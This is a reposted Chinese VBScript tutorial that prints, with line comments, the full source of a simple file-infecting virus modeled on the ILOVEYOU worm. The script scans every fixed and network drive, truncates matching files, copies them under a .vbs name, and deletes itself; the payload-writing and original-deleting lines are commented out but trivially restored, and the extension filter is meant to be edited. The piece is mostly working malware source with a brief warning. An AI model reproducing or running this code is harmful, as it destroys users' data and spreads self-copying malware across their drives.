Vbs脚本编程简明教程之十六

简介:
vbs 病毒的简单例子源代码解析 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带 .vbs 的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。

dim folder,fso,foldername,f,d,dc

set fso=createobject("scripting.filesystemobject")

set self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall ' 读取病毒体,以备复制到文件

self.close

set dc=fso.Drives

for each d in dc

if d.drivetype=3 or d.drivetype=2 then ' 检查磁盘类型

wscript.echo d ' 弹出窗口,显示找到盘符

scan(d)

end if

next 

lsfile=wscript.scriptfullname ' 该脚本程序路径

set lsfile=fso.getfile(lsfile)

lsfile.delete(true) ' 病毒运行后自我删除 ( 本人自加,爱虫病毒本身没有该代码)

sub scan(folder_)

on error resume next

set folder_=fso.getfolder(folder_)

set files=folder_.files

for each file in files

ext=fso.GetExtensionName(file) ' 获取文件后缀

ext=lcase(ext) ' 后缀名转换成小写字母

if ext="mp5" then ' 如果后缀名是 mp5, 当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名

set ap=fso.opentextfile(file.path,2,true) 

' ap.write vbscopy ' 覆盖文件,慎用

ap.close

set cop=fso.getfile(file.path)

cop.copy(file.path & ".vbs") ' 创建另外一个病毒文件

' file.delete(true) ' 删除原来文件

end if

next

set subfolders=folder_.subfolders

for each subfolder in subfolders ' 搜索其他目录

scan(subfolder)

next 

end sub









本文转自 chengchow 51CTO博客,原文链接:http://blog.51cto.com/chengchow/886989,如需转载请自行联系原作者
目录
相关文章
|
数据可视化 Windows
VBS 入门交互实战
带你打开脚本的大门,领略语言之美
495 3
VBS 入门交互实战
|
Shell
VBS脚本合集(自制脚本)
一、视频搜索器选择: Selectitem() '######################################### Function  Selectitem() 'Set VedioSearch=WScript.
821 0
|
SQL XML 数据安全/隐私保护
|
Windows 数据格式 XML